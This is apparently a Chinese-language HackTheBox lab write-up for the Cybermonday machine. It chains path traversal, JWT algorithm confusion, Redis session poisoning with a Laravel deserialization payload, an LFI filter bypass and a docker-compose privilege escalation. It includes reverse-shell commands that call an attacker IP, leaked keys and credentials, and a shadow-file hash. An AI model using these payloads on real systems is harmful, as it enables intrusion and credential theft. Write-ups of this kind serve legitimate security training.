HackTheBox - Machine - Cybermonday

Cybermonday

0x1 信息收集

nmap只有 80 和 SSH 端口,其他的沒什麽。

1
2
3
4
5
6
7
8
9
python3 dirsearch.py -u http://cybermonday.htb/ -w  ~/SecLists/Discovery/Web-Content/quickhits.txt -e php,html,txt   

[21:35:21] Starting:
[21:35:35] 200 - 603B - /.htaccess
[21:36:51] 302 - 358B - /api/user -> http://cybermonday.htb/login
[21:36:56] 404 - 555B - /assets/js/fckeditor
[21:36:56] 404 - 555B - /assets/fckeditor
[21:36:56] 404 - 555B - /assets/npm-debug.log
[21:38:43] 200 - 6KB - /login
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# /.htaccess

<IfModule mod_rewrite.c>
<IfModule mod_negotiation.c>
Options -MultiViews -Indexes
</IfModule>

RewriteEngine On

# Handle Authorization Header
RewriteCond %{HTTP:Authorization} .
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]

# Redirect Trailing Slashes If Not A Folder...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} (.+)/$
RewriteRule ^ %1 [L,R=301]

# Send Requests To Front Controller...
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [L]
</IfModule>

0x2 一個奇怪的發現

機器不給掃描,但是發現了一些細節,在我嘗試强行讓他404的時候,http://cybermonday.htb/assets/xxx​​ 和 http://cybermonday.htb/dashboard/xxx​​ 的結果不一樣,所以猜測 assets​​ 可能做了一些反向代理的事情。如果assets​​ 有反向代理的話,那麽可以嘗試做 Path traversal​​。

儅訪問 http://cybermonday.htb/assets../.git/​ 出現403,證明是有東西的,http://cybermonday.htb/assets../.git/HEAD​ 返回文件,可以用git dumper之類的工具把他dump下來,然後得到源碼。

1
2
3
4
5
$ python3 /Tools/Tools/Gitdumper/git_dumper.py 'http://cybermonday.htb/assets../.git/' source                                                                                                                                
[-] Testing http://cybermonday.htb/assets../.git/HEAD [200]
[-] Testing http://cybermonday.htb/assets../.git/ [403]
[-] Fetching common files
...

目錄裏面發現有 .env.example​ ,猜測 .env​ 可能存在服務器上,嘗試 curl http://cybermonday.htb/assets../.env

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
APP_NAME=CyberMonday                                  
APP_ENV=local
APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA=
APP_DEBUG=true
APP_URL=http://cybermonday.htb

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=db
DB_PORT=3306
DB_DATABASE=cybermonday
DB_USERNAME=root
DB_PASSWORD=root

BROADCAST_DRIVER=log
CACHE_DRIVER=file
FILESYSTEM_DISK=local
QUEUE_CONNECTION=sync
SESSION_DRIVER=redis
SESSION_LIFETIME=120
MEMCACHED_HOST=127.0.0.1

REDIS_HOST=redis
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=

MAIL_MAILER=smtp
MAIL_HOST=mailhog
MAIL_PORT=1025
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
MAIL_FROM_ADDRESS="hello@example.com"
MAIL_FROM_NAME="${APP_NAME}"

AWS_ACCESS_KEY_ID=
AWS_SECRET_ACCESS_KEY=
AWS_DEFAULT_REGION=us-east-1
AWS_BUCKET=
AWS_USE_PATH_STYLE_ENDPOINT=false

PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1

MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

CHANGELOG_PATH="/mnt/changelog.txt"

REDIS_BLACKLIST=flushall,flushdb

得到 APP_KEY​​ 和一個 redis​​ ,這裏猜測 redis​​ 是做cookie管理,然後還有一個後面值得探索的 CHANGELOG_PATH​​ 目錄。

源碼看起來沒有什麽特別的地方。

0x3 修改密碼的地方好像有點奇怪

隨便注冊一個用戶密碼,然後修改密碼,用戶名填 admin​​ 郵箱填 admin@cybermonday.htb​​,點擊提交之後會報錯,觀察這個報錯,是一個 Laravel Error Tracking​​ 平臺,

image

仔細觀察是説SQL出現錯誤,

1
2
3
4
5
6
7
8
9
update
`users`
set
`username` = admin,
`email` = admin@cybermonday.htb,
`password` = $ 2y $ 10 $ 2GD8HBeFKTkeFL7KJMVXL1zxWTS1KAT3fACcv3PgTerKwmg8BUrvn,
`users`.`updated_at` = 2023 -00 -00 00: 00: 00
where
`id` = 2

下面的 CONTEXT 寫著:

1
2
3
4
5
6
7
8
{
"id": 2,
"username": "xxxx",
"email": "xxxx@xxxx.com",
"isAdmin": true,
"created_at": "2023-00-00T00:00:00.000000Z",
"updated_at": "2023-00-00T00:00:00.000000Z"
}

看起來是從數據庫裏面讀取出來的,也就是說數據庫裏面有一個 isAdmin​ ,所以嘗試用burp截取提交表單,在post後面加上 &isAdmin=1​。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /home/update HTTP/1.1
Host: cybermonday.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 127
Origin: http://cybermonday.htb
Connection: close
Referer: http://cybermonday.htb/home/profile
Cookie: xxxxxxxxxxxxxxxxxxx
Upgrade-Insecure-Requests: 1

_token=Tfvb4BLkexNuSAz6Syi4UwEQV9tPcu8jk5y85wiL&username=xxx&email=xxx%xxx.com&password=xxx&password_confirmation=xxx&isAdmin=1

然後就獲得了管理權限,上面出現了 Dashboard​。

另外,登陸完了之後看了一下cookie,有一個 cybermonday_session​ 的東西,好像是 laravel​ 的加密cookie。

0x4 發現 webhook

來到 http://cybermonday.htb/dashboard/changelog​ ,也就是點擊 Dashboard​ -> Changelog​ 裏面,發現有webhook,

image

點擊之後,來到了一個域名 http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77​ 。

隨便在瀏覽器亂打 http://webhooks-api-beta.cybermonday.htb/aaa.php​​ 發現是php的一個服務器。

image

對這個域名進行掃描,發現兩個文件,

1
2
[05:00:00] 200 -  602B  - /.htaccess                                 
[05:00:00] 200 - 447B - /jwks.json

查看 jwks.json​:

1
2
3
4
5
6
7
8
9
10
11
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"alg": "RS256",
"n": "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w",
"e": "AQAB"
}
]
}

然後查看根,列出了一堆API。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
// curl http://webhooks-api-beta.cybermonday.htb

{
"status": "success", [0/1166]
"message": {
"routes": {
"/auth/register": {
"method": "POST",
"params": [
"username",
"password"
]
},
"/auth/login": {
"method": "POST",
"params": [
"username",
"password"
]
},
"/webhooks": {
"method": "GET"
},
"/webhooks/create": {
"method": "POST",
"params": [
"name",
"description",
"action"
]
},
"/webhooks/delete:uuid": {
"method": "DELETE"
},
"/webhooks/:uuid": {
"method": "POST",
"actions": {
"sendRequest": {
"params": [
"url",
"method"
]
},
"createLogFile": {
"params": [
"log_name",
"log_content"
]
}
}
}
}
}
}

然後嘗試玩一下這個webhook,/webhooks/create​ 對這個比較感興趣。

  1. 嘗試 POST /webhooks/create​ ,返回 {"status":"error","message":"Unauthorized"}​。
  2. 隨便注冊一個賬號:POST /auth/register​ ,返回 {"status":"success","message":"success"}​。
  3. 登錄:POST /auth/login​ ,返回 {"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJtIiwicm9sZSI6InVzZXIifQ.ALz7wcxLB0Kp1TL5pHvXNUYDVfy40BebZoi_Op1MzAbyW7vpPNH0b6PhsSsTJjm-1E5KU4sR0n6xJoffR9aQDqsgjj9qyaxP_hQ6YuXGAjkilVSgz02Ioi-IE-03y295D-C83UO3utMxJPj3JYb-UDIbA6iCaIq59aojeP_gjL33wSof5tJFx5kzzNndgwPf88QvqgUwYW85n7VmC3XJZ0nd3bVaPcUlmaTakkuEYn8YcraL2zsSOtU3Ek9jwxAvy6_XE2pIb6nEgyKI8SmI2zc0qYabXNmxRNoXUadlwi5VOr1goCqGh4ZvbuB0TdcYfG48Zm7hBlwS6D2souTG7g"}}​,在發現token有三個點,是JWT格式。
  4. 現在 POST /webhooks/create​ ,返回 {"status":"error","message":"Unauthorized"}​ 看起來沒有權限創建一個 webhooks​。

0x5 嘗試繞過JWT

思考了很久,有些不是很合理的地方,比如 jwks.json​ 這個敏感的文件就不應該會出現,如果逆向思考的話作者可能想希望我們利用這幾個文件而做一些事情,思考了一下,會不會是修改 jwt 的算法了。

通過這個網站 https://jwt.io/ 發現上面的JWT如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Encoded
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJtIiwicm9sZSI6InVzZXIifQ.ALz7wcxLB0Kp1TL5pHvXNUYDVfy40BebZoi_Op1MzAbyW7vpPNH0b6PhsSsTJjm-1E5KU4sR0n6xJoffR9aQDqsgjj9qyaxP_hQ6YuXGAjkilVSgz02Ioi-IE-03y295D-C83UO3utMxJPj3JYb-UDIbA6iCaIq59aojeP_gjL33wSof5tJFx5kzzNndgwPf88QvqgUwYW85n7VmC3XJZ0nd3bVaPcUlmaTakkuEYn8YcraL2zsSOtU3Ek9jwxAvy6_XE2pIb6nEgyKI8SmI2zc0qYabXNmxRNoXUadlwi5VOr1goCqGh4ZvbuB0TdcYfG48Zm7hBlwS6D2souTG7g

# Header
{
"typ": "JWT",
"alg": "RS256"
}

# Payload
{
"id": 2,
"username": "m",
"role": "user"
}

最初的想法是更改 role 變成 admin,因爲RS256算法需要 private key 和 public key,然而並不知道private key。但是可以嘗試修改成HS256,如果服務器接受HS256算法的話,那麽只需要 public key 就可以簽名了。

然後谷歌搜索了下,搜索關於JWT的n和e是什麽,看到了這篇文章:

https://datatracker.ietf.org/doc/html/rfc7518#section-6.3.1.2

https://stackoverflow.com/questions/70022898/what-does-e-aqab-mean-in-jwks

現在知道n是Public key,所以現在想辦法得到public key,就要寫程序,呃,因爲不怎麽會寫,隨手問了一下 ChatGPT,結果秒出。。。。

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.PublicKey import RSA
import json
from base64 import urlsafe_b64decode

def get_public_key():
with open('jwks.json') as file:
data = json.load(file)

# Assuming there is only one key in the 'keys' array
key = data['keys'][0]

modulus = int.from_bytes(urlsafe_b64decode(key['n'] + '=='), 'big')
exponent = int.from_bytes(urlsafe_b64decode(key['e'] + '=='), 'big')

# Construct the RSA public key
public_key = RSA.construct((modulus, exponent))

return public_key

# Usage example
public_key = get_public_key()
print(public_key.export_key().decode())

得到Public Key

image

0x6 使用burp注入JWT

Burp安裝 JWT Editor​ 和 JSON Web Tokens​ 這兩個插件,然後

首先要把上面的public key encode 一下,得到 LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwdmV6dkFLQ09neHdzaXlWNlBSSgpmR011bCtXQllvcndGSVd1ZFdLa0dlak14M29uVVNsTThPQTNQam1oRk5DUC84ako3V0EyZ0RhOG9QM04ySjh6CkZ5YWRucnQyWGU1OUZkY0xYVFB4YmJmRkMwYVRHa0RJT1BaWUo4a1IwY2x5MGZpWmlaYmc0Vkxzd1lzaDNTbjcKOTdJbElZcjZXcWZjNlpQbjFuc0VoT3J3TytxU0Q0UTI0RlZZZVV4c243cEowb09XSFBEK3F0QzVxM0JSMk0vUwp4QnJ4WGg5dnFjTkJCM1pSUkEwSDBGRGRWNkxwLzh3Slk3UkI4ZU1SRWdTZTQ4cjNrN0dsRWNDTHdic3lDeWhuCmd5c2dIc3E2eUpZTTgyQkw3VjhRbG40MnlpajFCTTdmQ3UxOU0xRVp3UjVlSjJIZzMxWnNLNXVTaGJJVGJSaDEKNndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==

然後修改 K​ 裏面的内容,貼上去。

image

1
2
3
4
5
{
"kty": "oct",
"kid": "d7aed87f-932a-417e-957b-30fc13722f6a",
"k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwdmV6dkFLQ09neHdzaXlWNlBSSgpmR011bCtXQllvcndGSVd1ZFdLa0dlak14M29uVVNsTThPQTNQam1oRk5DUC84ako3V0EyZ0RhOG9QM04ySjh6CkZ5YWRucnQyWGU1OUZkY0xYVFB4YmJmRkMwYVRHa0RJT1BaWUo4a1IwY2x5MGZpWmlaYmc0Vkxzd1lzaDNTbjcKOTdJbElZcjZXcWZjNlpQbjFuc0VoT3J3TytxU0Q0UTI0RlZZZVV4c243cEowb09XSFBEK3F0QzVxM0JSMk0vUwp4QnJ4WGg5dnFjTkJCM1pSUkEwSDBGRGRWNkxwLzh3Slk3UkI4ZU1SRWdTZTQ4cjNrN0dsRWNDTHdic3lDeWhuCmd5c2dIc3E2eUpZTTgyQkw3VjhRbG40MnlpajFCTTdmQ3UxOU0xRVp3UjVlSjJIZzMxWnNLNXVTaGJJVGJSaDEKNndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}

不需要在網頁簽名,可以直接使用burp簽名,然後直接修改包就可以了。

image

image

image

0x7 WebHook 主動請求,思考下一步

​​image​​

這裏的WebHook可以主動發起請求,和枚舉了一段時間,沒有發現什麽有意思的内容。

然後想到了一個思路,Redis作爲Laravel的cookie緩存容器,Laravel會主動請求Redis(因爲請求是固定寫好的是,所以沒辦法exploit),但是儅Redis返回内容是惡意的情況下,儅Laravel會主動deserialization裏面的内容就可以執行reverse shell,也就是説如果我可以控制 Redis 返回的内容,我就有機會在Laravel deserialization的時候執行reverse shell。

很巧的是Redis有提供REST的API,通過RestAPI 嘗試修改當前的cookie,把他換成惡意的cookie,

image

0x8 準備 payload

SET可以工作,剩下的就是準備payload了。

製作 deserialization 的php payload可以使用phpggc,看了一下, RCE10 是最好的(因爲 __toString ,比較適合現在的環境)。

image

所以希望可以在php上執行 system(“/bin/bash xxxx”) 的函數,所以下面就製作payload

1
2
./phpggc Laravel/RCE10 SYSTEM '/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxx/1111 0>&1"'
O:38:"Illuminate\Validation\Rules\RequiredIf":1:{s:9:"condition";a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard":3:{s:8:"callback";s:14:"call_user_func";s:7:"request";s:6:"SYSTEM";s:8:"provider";s:61:"/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxx/1111 0>&1"";}i:1;s:4:"user";}}

用這個工具可以方便處理特殊符號,https://onlinestringtools.com/escape-string

0x9 想辦法在 Redis 中尋找當前的key,以便注入,得到webshell

因爲要注入當前的cookie,在谷歌的過程中發現了神奇的内容原來laravel是可以通過APP_KEY 解密。

參考:https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/laravel

image

然後就得到了 25c6a7ecd50b519b7758877cdc95726f29500d4c​​ 和 6AGr0idR2a6TzouAfXs6hq7HOopPx0lkCS44SHRf​​ 比較像key的值。

在上面的 .env 文件中,有這樣定義的。

1
2
3
4
5
REDIS_HOST=redis        
REDIS_PASSWORD=
REDIS_PORT=6379
REDIS_PREFIX=laravel_session:
CACHE_PREFIX=

所以完整的請求應該像這樣:

1
SET "laravel_session:<KEY>" "<REVERSHELL_PAYLOAD>"

因爲上面有兩個Key,所以發2遍看看效果。

然後測試了很久,都沒有反應,本地debug了下,在 payload 後加入 \r\n​ 就好了。

image

然後刷新一下網頁,laravel去數據庫獲取cookie的時候就會執行webshell。

看到 /mnt​​ 下面挂在了john的 home

image

0xA (nginx server) 搜索可用的信息,找到webhook源碼,利用它得到LFI,拿到user的賬號密碼。

以下是LinPEAS發現的信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
╔══════════╣ Hostname, hosts and DNS
070370e2cdc4
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.4 070370e2cdc4
nameserver 127.0.0.11
options ndots:0

╔══════════╣ Interesting Files Mounted
/dev/sda1 on /mnt type ext4 (ro,relatime,errors=remount-ro)
/dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro)
/dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)

nmap無法使用,可以使用reverse socks 然後套nmap,這裏我就快速使用Bash自製脚本快速掃描一下,所以猜測如下。

1
2
3
4
5
6
7
[+] 172.18.0.1: 22 open     - hosts
[+] 172.18.0.2: 80 open - nginx server
[+] 172.18.0.3: 80 open - webhook
[+] 172.18.0.4: 9000 open - Unknow
[+] 172.18.0.5: 5000 open - Docker Registry
[+] 172.18.0.6: 6379 open - redis
[+] 172.18.0.7: 3306 open - mysql

看到了有 Docker Registry,隨手一個curl看看,

1
2
3
4
5
# proxychains -f ./proxychains.conf curl http://172.18.0.5:5000/v2                  
<a href="/v2/">Moved Permanently</a>.

# proxychains -f ./proxychains.conf curl http://172.18.0.5:5000/v2/_catalog
{"repositories":["cybermonday_api"]}

發現這個 docker registry 居然有容器,所以使用Docker Registry Grabber下載所有tar壓縮包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ proxychains -f ./proxychains.conf python3 /Tools/Tools/DockerRegistryGrabber/drg.py http://172.18.0.5 --dump_all
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[+]======================================================[+]
[|] Docker Registry Grabber v1 @SyzikSecu [|]
[+]======================================================[+]

[+] cybermonday_api
[+] BlobSum found 27
[+] Dumping cybermonday_api
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce
[+] Downloading : ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1
...


$ ls cybermonday_api
1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62.tar.gz 9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb.tar.gz
1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8.tar.gz a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz
4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c.tar.gz affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70.tar.gz
57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f.tar.gz beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.tar.gz
57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95.tar.gz ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1.tar.gz
5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7.tar.gz ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e.tar.gz
5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33.tar.gz dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae.tar.gz

然後找到webhook源碼。

在搜索的過程中發現有很多 .wh..wh..opq​ 的文件,查了下原來還有奇怪的知識。

  • Branch: 就是各个要被 union 起来的目录

    • Branch 根据被 union 的顺序形成一个 stack,一般来说最上面的是可写的,下面的都是只读的
    • Branch 的 stack 可以在被 mount 后进行修改,比如:修改顺序,加入新的 branch,或是删除其中的 branch,或是直接修改 branch 的权限
  • 如果 UnionFS 中的某个目录被删除了,那么就应该不可见了,就算是在底层的 branch 中还有这个目录,那也应该不可见了

    • Whiteout: 某个上层目录覆盖了下层的相同名字的目录。用于隐藏低层分支的文件,也用于阻止 readdir 进入低层分支

      • 在隐藏低层档的情况下,whiteout 的名字是 .wh.<filename>
    • Opaque: 不允许任何下层的某个目录显示出来。

      • 在阻止 readdir 的情况下,名字是 .wh..wh..opq 或者 .wh.__dir_opaque

https://klose911.github.io/html/docker/infrastructure.html

然後看到有讀取日志的代碼,有些API剛才沒用到,看了一下這裏好像有漏洞

image

然後隨便寫了一個php代碼本地測試繞過情況。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
?>

<html>
<body>

<form action="index.php" method="post">
Input: <input type="text" name="name"><br>
<input type="submit">
</form>

</body>
</html>


<?php
if (isset($_POST["name"])) {
$name=$_POST["name"];
$logPath = "/tmp/";

$logName = $name;

if(preg_match("/\.\.\//", $logName))
{
echo ("Hit one, have ../ : ".$logPath.$logName);
}

$logName = str_replace(' ', '', $logName);

if(stripos($logName, "log") === false)
{
echo ("Hit Two, no end with log: ".$logPath.$logName);
}

if(!file_exists($logPath.$logName))
{
echo ("Hit Three, no exist ".$logPath.$logName);
}

$logContent = ($logPath.$logName);
echo "\n";
echo $logContent;
echo "\n";
echo "\n";
echo file_get_contents($logContent);
}
?>

這個地方我思考了很久(2天,其實很簡單的問題,老了),原來繞過第一個可以使用 . ./. ./. ./. ./. ./. ./​,第二個可以使用 . ./. ./. ./. ./. ./var/log/. ./. ./​ 然後就可以 . ./. ./. ./. ./. ./var/log/. ./. ./proc/self/environ​ 讀取環境變量。

image

新建一個webhook,讀取id,然後等等,爲什麽 GET /​​ 沒有列出來。

要使用這個漏洞,從這裏追進去,

image

然後發現使用API的authorized,硬編碼的

image

image

然後使用這個KEY,

image

利用上面的漏洞,就可以把環境變量給解壓出來。

image

然後john的密碼就在 proc/self/environ​​ 裏面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
HOSTNAME=e1862f4e1242\
PHP_INI_DIR=\/usr\/local\/etc\/php\
HOME=\/root\
PHP_LDFLAGS=-Wl,-O1 -pie\
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\
DBPASS=<這裏是密碼> \
PHP_VERSION=8.2.7\
GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC\
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\
PHP_ASC_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz.asc\
PHP_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz\
DBHOST=db\
DBUSER=dbuser\
PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\
DBNAME=webhooks_api\
PHPIZE_DEPS=autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c\
PWD=\/var\/www\/html\
PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0\

這裏是賬號密碼

1
2
USER: john
PASS: ngFfX2L71Nu

0xB Enumeration USER 拿到 root.txt

登錄ssh之後,隨便sudo -l 看看,

1
2
3
4
5
6
7
john@cybermonday:~$ sudo -l
[sudo] password for john:
Matching Defaults entries for john on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User john may run the following commands on localhost:
(root) /opt/secure_compose.py *.yml

然後看這個文件裏面有什麽?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/python3
import sys, yaml, os, random, string, shutil, subprocess, signal

def get_user():
return os.environ.get("SUDO_USER")

def is_path_inside_whitelist(path):
whitelist = [f"/home/{get_user()}", "/mnt"]

for allowed_path in whitelist:
if os.path.abspath(path).startswith(os.path.abspath(allowed_path)):
return True
return False

def check_whitelist(volumes):
for volume in volumes:
parts = volume.split(":")
if len(parts) == 3 and not is_path_inside_whitelist(parts[0]):
return False
return True

def check_read_only(volumes):
for volume in volumes:
if not volume.endswith(":ro"):
return False
return True

def check_no_symlinks(volumes):
for volume in volumes:
parts = volume.split(":")
path = parts[0]
if os.path.islink(path):
return False
return True

def check_no_privileged(services):
for service, config in services.items():
if "privileged" in config and config["privileged"] is True:
return False
return True

def main(filename):

if not os.path.exists(filename):
print(f"File not found")
return False

with open(filename, "r") as file:
try:
data = yaml.safe_load(file)
except yaml.YAMLError as e:
print(f"Error: {e}")
return False

if "services" not in data:
print("Invalid docker-compose.yml")
return False

services = data["services"]

if not check_no_privileged(services):
print("Privileged mode is not allowed.")
return False

for service, config in services.items():
if "volumes" in config:
volumes = config["volumes"]
if not check_whitelist(volumes) or not check_read_only(volumes):
print(f"Service '{service}' is malicious.")
return False
if not check_no_symlinks(volumes):
print(f"Service '{service}' contains a symbolic link in the volume, which is not allowed.")
return False
return True

def create_random_temp_dir():
letters_digits = string.ascii_letters + string.digits
random_str = ''.join(random.choice(letters_digits) for i in range(6))
temp_dir = f"/tmp/tmp-{random_str}"
return temp_dir

def copy_docker_compose_to_temp_dir(filename, temp_dir):
os.makedirs(temp_dir, exist_ok=True)
shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml"))

def cleanup(temp_dir):
subprocess.run(["/usr/bin/docker-compose", "down", "--volumes"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
shutil.rmtree(temp_dir)

def signal_handler(sig, frame):
print("\nSIGINT received. Cleaning up...")
cleanup(temp_dir)
sys.exit(1)

if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Use: {sys.argv[0]} <docker-compose.yml>")
sys.exit(1)

filename = sys.argv[1]
if main(filename):
temp_dir = create_random_temp_dir()
copy_docker_compose_to_temp_dir(filename, temp_dir)
os.chdir(temp_dir)

signal.signal(signal.SIGINT, signal_handler)

print("Starting services...")
result = subprocess.run(["/usr/bin/docker-compose", "up", "--build"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
print("Finishing services")

cleanup(temp_dir)

然後想到了 check_no_symlinks​ 這個函數,然後 ln -s ~/Tools /Tools​ ,用 python3 試一下之後,發現有奇怪的東西

image

寫了個 exp.xml

1
2
3
4
5
6
7
version: "3"
services:
server:
image: cybermonday_api
command: sh -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.19/1111 0>&1"'
volumes:
- /home/john/root/root:/home/john:ro

然後:

image

這樣就拿到了 root.txt

目前,暫時還沒想到如何拿到root的shell。

題外話:

image

如果這裏少了HS256,那麽就不會工作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root@d212ff9ac6c1:/home/john# cat shadow
root:$y$j9T$kndrQlLwiIgjD3Jegw0bP0$8gT7HQZoAIe6owK9kIDzj4qriqKfygMooOkk5go9i40:19506:0:99999:7:::
daemon:*:19506:0:99999:7:::
bin:*:19506:0:99999:7:::
sys:*:19506:0:99999:7:::
sync:*:19506:0:99999:7:::
